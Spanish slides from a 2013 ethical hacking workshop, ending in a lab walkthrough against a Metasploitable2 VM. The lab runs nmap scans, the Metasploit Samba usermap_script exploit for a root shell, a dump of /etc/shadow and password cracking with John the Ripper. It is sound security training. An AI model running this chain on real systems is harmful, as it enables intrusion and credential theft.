Una introducción al Hacking Ético, el cual consiste en un ataque controlado a los sistemas informáticos y/o de comunicaciones de una empresa u organización empleando los mismos medios que un usuario malicioso. Se llama “Hacking Ético” debido a que las técnicas, pensamientos y metodologías usadas son similares a las empleadas por los hackers, pero el único objetivo es comprobar el estado real y actual de la seguridad. No confundir con auditorias donde se usan herramientas preparadas para “testear” la vulnerabilidad de los servicios del cliente y reportar el error. Como Hacker Ético, lo primero que debes aprender es a pensar como un hacker malicioso, con mucha creatividad y a no dar nada por supuesto. Durante el workshop abordaremos ciertas teorías y herramientas y si es posible, también vulnerabilidades ya conocidas, para que la gente se inicie.
Miércoles 6 de noviembre de 2013 desde las 18:00 hasta las 19:30 (GMT+01:00 España (Madrid))
Barcelona, España | Makers of Barcelona
2. El Objetivo de esta presentación es la de introducir la
idea de lo que es un hacker ético y tocar un poco por
encima los pasos que
Se suelen seguir en servicios de pruebas de
penetración que se suelen realizar, y de algunas
herramientas típicas. Este es un mundo muy extenso
que tiene muchas variedades y muchos tópicos.
3. Definiciones
1. Hacker es el neologismo utilizado para referirse a un EXPERTO en varias o alguna
rama técnica relacionada con la informática: programación, redes de informática,
sistemas operativos, hardware de red/voz, etc. Se suele llamar hacker o hackear a
las obras propias de un hacker.
2. Hacker, usando la palabra inglesa, quiere decir; divertirse con el ingenio, usar la
inteligencia para hacer algo difícil. No implica trabajar solo ni en grupo
necesariamente. Es posible en cualquier proyecto. No implica tampoco hacerlo con
ordenadores. Es posible ser un hacker de las bicicletas. Por ejemplo, un mecanico
modificando un coche de fabrica para que funcione de maneras que el fabricante
no tenia previsto. Richard Stallman.
3. Hacker, tambien usado gracias al cambio positivo en los últimos 10 años por el
esfuerzo de la comunidad informática en cambiar el tabú de dicha palabra. Es la
de hackear un sistema o codigo de programación en referencia a mejorar estos o
trabajar de una manera casi obsesiva en dicho código o sistema. Por ejemplo
“Vamos a quedar para hackear un poco nuestro codigo ruby”
4. Tipos de hackers
Desde los tiempos de los primeros hackers en las lineas de teléfonos llamados
phreakers, como el propio Steve Wozniak y mas adelante en la MIT de
Massachusetts, el termino hacker como hemos definido anteriormente fue por
medio de las películas y las noticias negativas sustituido para definir solamente a
un hacker criminal. Hoy en día esta generalización de la comunidad hacker ha
sido poco a poco rehabilitada a su contenido original, con lo cual se pueden
distinguir tres modalidades de hackers, de lo cual salen muchas mas submodalidades.
5. ●
White Hats:
Son aquellos hackers en los que entrarían la mayoría de hackers eticos. Desarrollando, creando y
usando sus ideas, teorías y saber en un modo positivo. Por ejemplo, aquellos hackers que todos
los días crean tecnología nueva. Encuentran fallos de seguridad y bugs en el software, lo arreglan
y lo hacen publico.
●
Black Hats:
Son aquellos hackers que tienen una finalidad criminal, sus impulsos van mucho mas lejos de lo
que es crear, mejorar y asegurar la tecnología, pero también la de la avaricia y de llenarse los
bolsillos con dinero rápido. Encuentran fallos de seguridad y bugs en el software pero no lo
publican y los venden o usan ellos mismos.
●
Grey Hats:
Son los hackers que no son criminales, ni optan tampoco por una vida limpia y de complacencia
como los white hats, un ejemplo de Grey Hat a mi punto de vista pueden ser los hacktivistas, ya
que para unos están haciendo algo positivo y para otros negativo, así que están en una zona gris.
6. Que es el hacking Ético
●
●
●
Utiliza las mismas herramientas y manera de trabajar que un black hat
hacker
Es contratado por empresas publicas y privadas para ejercer pruebas de
penetración de seguridad(PenTesting)
Trabaja solo o para empresas en departamentos de InfoSec (Information
Security)
7. PenTesting
Conjunto de metodologías y técnicas para la realización y simulación de
un ataque en un escenario controlado, al cual se le practica un test de
intrusión, para evaluar la seguridad de un sistema o de una red
informática, y así encontrar los puntos débiles y vulnerables en dichos
sistemas o redes.
Este proceso, nos orienta a un análisis profundo para así determinar las
vulnerabilidades potenciales, que pudiesen derivarse por una
configuración incorrecta del sistema, pueden ser de hardware o bugs
de software o desconocidas, ó incluso en las deficiencias operativas y
técnicas en el proceso de contra medidas del programador,
administrador de sistemas o ingenieros de redes informaticas, etc.
8. Estos test de penetración se deben realizar desde una perspectiva de
un atacante potencial y pueden implicar la explotación de
vulnerabilidades.
Aquí juega un papel muy importante la ética del profesional, porque
los problemas encontrados, deben ser informados a la empresa o
usuario afectado, junto con un reporte y una documentación
debidamente estructurada, para así informarlo de la magnitud del
problema y además brindar soluciones.
“Para saber defender, primero se debe aprender
a atacar”
atacar
9. ¿Por qué es importante realizar pruebas de penetración
periódicas?
La seguridad de una organización es un aspecto cambiante. Una empresa puede alcanzar un
nivel de protección óptimo en un momento determinado y ser totalmente sensible poco
después, tras cambios en la configuración de un servidor o tras la instalación de nuevos
dispositivos de red. Al mismo tiempo, continuamente aparecen nuevos fallos de seguridad en
software existentes, que previamente se creían seguros.
Una política de realización de pruebas de penetración periódicas mitiga, en gran medida, el
riesgo asociado a un entorno en constante cambio, tal como lo representan los sistemas
informáticos de cualquier compañía.
10. Tipos de ataques:
ACTIVOS: los ataques activos, alteran y comprometen la disponibilidad,
integridad, autenticidad de la información, así afectando a los sistemas,
redes y aplicaciones del objetivo a atacar.
Ejemplo: Sql Injection, Alteracion de una web app, robo de informacion..
PASIVOS: los ataques pasivos, no alteran, ni modifican al sistema o red
objetivo, solo se obtiene y compromete la confidencialidad de la
información
Ejemplo: sniffing, y el “information gathering” en general.
11. Modalidades de Ataques:
1. Ataques Internos:
Un ataque interno, es realizado desde el interior del perímetro
del objetivo, por lo general suelen ser perpetrados por personal
propio de la empresa, empleados inconformes o clientes que
tienen acceso. Con la ayuda de malas configuraciones o código
escrito sin tener en cuenta la seguridad del mismo.
Ejemplo: Ataque a la red wifi, hardware keyloggers, Malware
instalado localmente, como por una USB-pendrive.
2. Ataques Externos:
El ataque externo es el que se realiza desde una fuente
externa al perímetro del objetivo a atacar.
Ejemplo: Exploit Remoto por una red externa como Internet,
Ataque de negación de servicios(DOS).
12. Tecnicas de Ataque:
- Denegación de servicio, DoS
- Crackeo de contraseña por fuerza bruta
- Explotacion de vulnerabilidades, local o remoto.
- Phising/ scam
- Secuestro de sesiones en redes wifi de webapps.
- Secuestro de informacion SSL con MIM(Man in the middle)
- Hijacking (secuestro), de dominio, seccion, ip, entre otras
- Spoofing (suplantación) de ip, DNS, etc.
- Ingeniería social
- Ataques a bases de datos como, SQLi (Sql injection)
- Ataques al I/O de las web como con el XSS (Cross site
Scripting)
- Y muchos mas...
13. Conocimientos para un Hacker Ético?
Esto es un tema muy controvertido entre la comunidad hacker y de
profesionales de la seguridad informática
La verdad es que las respuestas son muy variadas.
A mi opinión, lo mas importante es la curiosidad, la enseñanza pasional
incluso autodidacta casi diaria y sobre todo creatividad.
Casi todos mis compañeros, pintan, tocan un instrumento, tienen o han
tenido una pasión creativa.
Pero si tengo que enumerar una lista:
• Conocimientos avanzados en programación y scripting (python, ruby,
C/C++, Java...)
• Tener conocimientos profundos de diversas plataformas como Linux,
Windows, Unix, Cisco IOS, etc.
• Conocimiento en redes y protocolos, tcp/ip, arquitecturas, etc.
• Conocimiento de hardware, routers, switches,
• Conocimientos en técnicas, metodologías y herramientas de hacking y
mas importante poder escribir tus propias herramientas
• Capacidad de análisis e investigación para proveer soluciones.
14. Anatomía de un Ataque informático
●
Obtener información del objetivo.
information gathering
●
Descubrir elementos de la red y
Enumerar servicios.
Scanning and Enumeration
Exploración de vulnerabilidades.
● Penetración.
●
Gaining and Maintaining Access
15. Ejemplos de Information gathering
Herramientas:
● Whois
● Google/bing/yahoo
● Google Dorks(inurl:"/cgi-mod/index.cgi")
● Nslookup/dig
● Shodan
En ella utilizaremos los buscadores, herramientas de análisis
de DNS, whois y demás herramientas para obtener información
de nuestra víctima Además, podemos hacer una exploración de
meta-datos de los documentos, imágenes y otros tipos de
archivos que tengamos a nuestro alcance navegando.
16. Scanning and Enumeration
Enumeracion y escaneo
Herramientas:
●
●
●
●
●
●
Nmap
Hping3
Wget
Curl
Telnet
NetCat
En ella con la información conseguida anteriormente trataremos de conseguir
direcciones IP de nuestra víctima, nombres de usuarios y contraseñas válidas de su
entorno y nombres de servicios y aplicaciones accesibles, y todo aquello que luego nos
pueda ayudar a lanzar nuestro ataque. Dejar claro que esta fase al igual que la primera,
solo es de investigación, no se llevará a cabo ningún ataque, será más bien la
realización de un checklist de elementos existentes.
17. Research and vulnerability finding
Exploración de vulnerabilidades
Herramientas:
● Tus propios 0 dayz
● Base de datos de vulnerabilidades como exploit-db.com
En ella empezaremos a actuar sobre los sistemas encontrados, los
analizaremos en busca de vulnerabilidades, ya sea en la infraestructura,
los sistemas operativos, los servicios disponibles o las aplicaciones
existentes.
19. Herramientas y Frameworks populares
de un PenTester
Las herramientas para hacer pentesting son solo eso herramientas,
Y facilitan la vida mucho, pero los hacker éticos mas avanzados crean sus
propias herramientas construidas para cada objetivo.
Hoy vamos a explorar una de las mas famosas.
Mestaploit, es un framework que hace todo los pasos en una sola aplicación.
20. TALLER
Necesario:
●
●
●
●
●
●
●
Metasploit framework
Nmap
GNU/Linux como Host VM
Metasploitable2 como Guest VM
VirtualBox
John the ripper
Diccionario rockyou.txt o cualquier otro cuanto mas completo mejor
http://wiki.skullsecurity.org/Passwords
Cuando se tiene todo preparado. Vamos a proceder a emepezar con los pasos de un pentester,
obviamente es mucho mas rapido y facil ya que no tenemos que hacer el information gathering,
ya que sabemos todo sobre nosotros mismos.
Notas del setup:
- Preparar el Guest VM(metasploitable) en VirtualHost y en la red configurarlo en vez de en modo NAT en modo
“HOST-ONLY ADAPTER” para esto lo mas seguro que tengas que ir a File/Preferences/Network y crear un adapter,
resulta algo como “vboxnet0”.
Ya teniendo esto, te sale el nombre para seleccionarlo cuando haces el cambio de NAT a “host-only adapter”. Name:
“vboxnet0”.
- en el Host(tu ordenador GNU/Linux) bajate metasploit,nmap,john the ripper etc.
21. # Ifconfig vbocnet0
Y vemos que hay un vboxnet0
vboxnet0 Link encap:Ethernet HWaddr 0a:00:27:00:00:00
inet addr:192.168.56.1 Bcast:192.168.56.255 Mask:255.255.255.0
inet6 addr: fe80::800:27ff:fe00:0/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:900 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:59046 (59.0 KB)
Ya sabemos el network, ahora escaneamos la subnet para ver las maquinas exitentes y
vamos a ver dos host que están UP, una es la nuestra y la otra el objetivo.
# Nmap -sP 192.168.56.0/24
Starting Nmap 6.41SVN ( http://nmap.org ) at 2013-11-06 16:17 CET
Nmap scan report for 192.168.56.1
Host is up (0.00073s latency).
Nmap scan report for 192.168.56.101
Host is up (0.00026s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 2.50 seconds
22. # nmap 192.168.56.101
Vemos que hay muchos servicios, pero supongamos que tenemos la sospecha que estan usando un
sistema Debian,
Y sabemos que Debian tiene varias vulnerabilidades y puede que el administrador no este al tanto de
los updates.
Starting Nmap 6.41SVN ( http://nmap.org ) at 2013-11-06 16:20 CET
Nmap scan report for 192.168.56.101
Host is up (0.0031s latency).
Not shown: 977 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajp13
8180/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 0.09 seconds
23. Entonces miramos a ver que version de samba esta corriendo y vemos que es
el samba 3.0.20 y es un sistema Debian.
# nmap --script smb-os-discovery.nse -p445 192.168.56.101
Starting Nmap 6.41SVN ( http://nmap.org ) at 2013-11-06 16:28 CET
Nmap scan report for 192.168.56.101
Host is up (0.00083s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| NetBIOS computer name:
| Workgroup: WORKGROUP
|_ System time: 2013-11-06T10:28:01-05:00
Nmap done: 1 IP address (1 host up) scanned in 0.09 seconds
24. Con lo cual sabemos que es vulnerable, por el search que hemos realizado
Podemos ahora obviamente ver según la base de datos de metasploit que:
http://www.rapid7.com/db/modules/exploit/multi/samba/usermap_script
Samba versions 3.0.20 through 3.0.25rc3 when using the non-default "username map script"
configuration option. By specifying a username containing shell meta characters, attackers can
execute arbitrary commands. No authentication is needed to exploit this vulnerability since this
option is used to map usernames prior to authentication!
CVE-2007-2447
OSVDB-34700
BID-23972
URL: http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534
URL: http://samba.org/samba/security/CVE-2007-2447.html
Para saber que son metecharacters en linux:
http://www.sal.ksu.edu/faculty/tim/unix_sg/shell/metachar.html
Vale, ahora ya sabemos que de todos los puertos, uno “creemos” que es vulnerable,
Asi que vamos a probar.
25. Vamos a correr el metasploit
# msfconsole <enter>
Buscamos por exploits de samba
msf > search samba
Matching Modules
================
Name
Disclosure Date
Rank
Description
------------------------------auxiliary/admin/smb/samba_symlink_traversal
normal Samba Symlink Directory Traversal
auxiliary/dos/samba/lsa_addprivs_heap
normal Samba lsa_io_privilege_set Heap Overflow
auxiliary/dos/samba/lsa_transnames_heap
normal Samba lsa_io_trans_names Heap Overflow
auxiliary/dos/samba/read_nttrans_ea_list
normal Samba read_nttrans_ea_list Integer Overflow
exploit/freebsd/samba/trans2open
2003-04-07 00:00:00 UTC great
Samba trans2open Overflow (*BSD x86)
exploit/linux/samba/chain_reply
2010-06-16 00:00:00 UTC good
Samba chain_reply Memory Corruption (Linux x86)
exploit/linux/samba/lsa_transnames_heap
2007-05-14 00:00:00 UTC good
Samba lsa_io_trans_names Heap Overflow
exploit/linux/samba/setinfopolicy_heap
2012-04-10 00:00:00 UTC normal Samba SetInformationPolicy AuditEventsInfo Heap Overflow
exploit/linux/samba/trans2open
2003-04-07 00:00:00 UTC great
Samba trans2open Overflow (Linux x86)
exploit/multi/samba/nttrans
2003-04-07 00:00:00 UTC average Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
exploit/multi/samba/usermap_script
Execution
2007-05-14 00:00:00 UTC excellent Samba "username map script" Command
exploit/osx/samba/lsa_transnames_heap
2007-05-14 00:00:00 UTC average Samba lsa_io_trans_names Heap Overflow
exploit/osx/samba/trans2open
2003-04-07 00:00:00 UTC great
Samba trans2open Overflow (Mac OS X PPC)
exploit/solaris/samba/lsa_transnames_heap
2007-05-14 00:00:00 UTC average Samba lsa_io_trans_names Heap Overflow
exploit/solaris/samba/trans2open
2003-04-07 00:00:00 UTC great
Samba trans2open Overflow (Solaris SPARC)
exploit/unix/misc/distcc_exec
2002-02-01 00:00:00 UTC excellent DistCC Daemon Command Execution
exploit/unix/webapp/citrix_access_gateway_exec 2010-12-21 00:00:00 UTC excellent Citrix Access Gateway Command Execution
exploit/windows/http/sambar6_search_results 2003-06-21 00:00:00 UTC normal Sambar 6 Search Results Buffer Overflow
exploit/windows/license/calicclnt_getconfig 2005-03-02 00:00:00 UTC average Computer Associates License Client GETCONFIG Overflow
post/linux/gather/enum_configs
normal Linux Gather Configurations
26. Encontramos el modulo, asi que vamos a usarlo.
msf > use exploit/multi/samba/usermap_script
Preparamos la variable de RHOST(Remote Host) con la ip del objetivo.
msf exploit(usermap_script) > set RHOST 192.168.56.101
RHOST => 192.168.56.101
Y finalmente corremos “exploit” para atacar.
msf exploit(usermap_script) > exploit
Esto nos va a dar una Linux shell, pero raw.. podemos teclear comandos pero no hay
echo ni linux promp. #bash> etc. es normal.
[*] Command shell session 1 opened (192.168.56.1:4444 -> 192.168.56.101:38956) at
2013-11-06 16:44:58 +0100
Ahora si todo sale bien tendremos acceso como usuario root(administrador)
Para eso tecleamos el comando “id”
id
uid=0(root) gid=0(root)
27. Y Ahora que?
Bueno, tenemos una maquina, problemente esta maquina no sea muy importante o es un gateway
etc.. una de las muchas cosas que se pueden hacer es guardar el shadow file
Para crackearlo, es corriente que administradores usen el mismo password en mas de una
maquina...
Con lo cual tecleamos:
cat /etc/shadow
Seleccionamos, copiamos y pastemos el contenido en nuestro ordenador por que
Vamos a usar un password cracker como John de Ripper para sacar los passwords que están
cifrados en MD5.
# john -w:lista_passwords.txt shadow
Loaded 7 password hashes with 7 different salts (FreeBSD MD5 [32/64 X2])
user
(user)
msfadmin
(msfadmin)
postgres
(postgres)
batman
(sys)
123456789
(klog)
service
(service)
guesses: 6 time: 0:00:00:00 100% c/s: 136 trying: 123456789 - service
Use the "--show" option to display all of the cracked passwords reliably
28. Si te interesa el tema, puedo recomendar:
Libros:
- Hacking the art of exploitation
- Violent Python
- The tootkit Aresenal
- Buffer overflow Attacks
- A Bug Hunter's Diary
Revistas:
- HAKIN9
- [hack]in[SIGHT]
- 2600
E-zines
- Phrack http://phrack.org
Documentales
- Code 2600
Peliculas
- Sneakers
Videos
- http://www.securitytube.net/
29. ●
●
●
●
●
●
●
●
●
●
●
●
Google Dorks ejemplos: http://www.exploit-db.com/google-dorks/
ShodanHQ: http://www.shodanhq.com/
PacketStorm Security: http://packetstormsecurity.com/
Nmap: http://nmap.org/
Exploit-DB: http://exploit-db.com
Mestasploit: http://www.metasploit.com/
John the Ripper: http://www.openwall.com/john/
Metasploitable:
http://sourceforge.net/projects/metasploitable/files/Metasploitable2/
Samba usermap_script:
http://www.rapid7.com/db/modules/exploit/multi/samba/usermap_script
Diccionarios de passwords: http://wiki.skullsecurity.org/Passwords
The hacker news: http://thehackernews.com/
BinaryFreedom: http://binaryfreedom.info/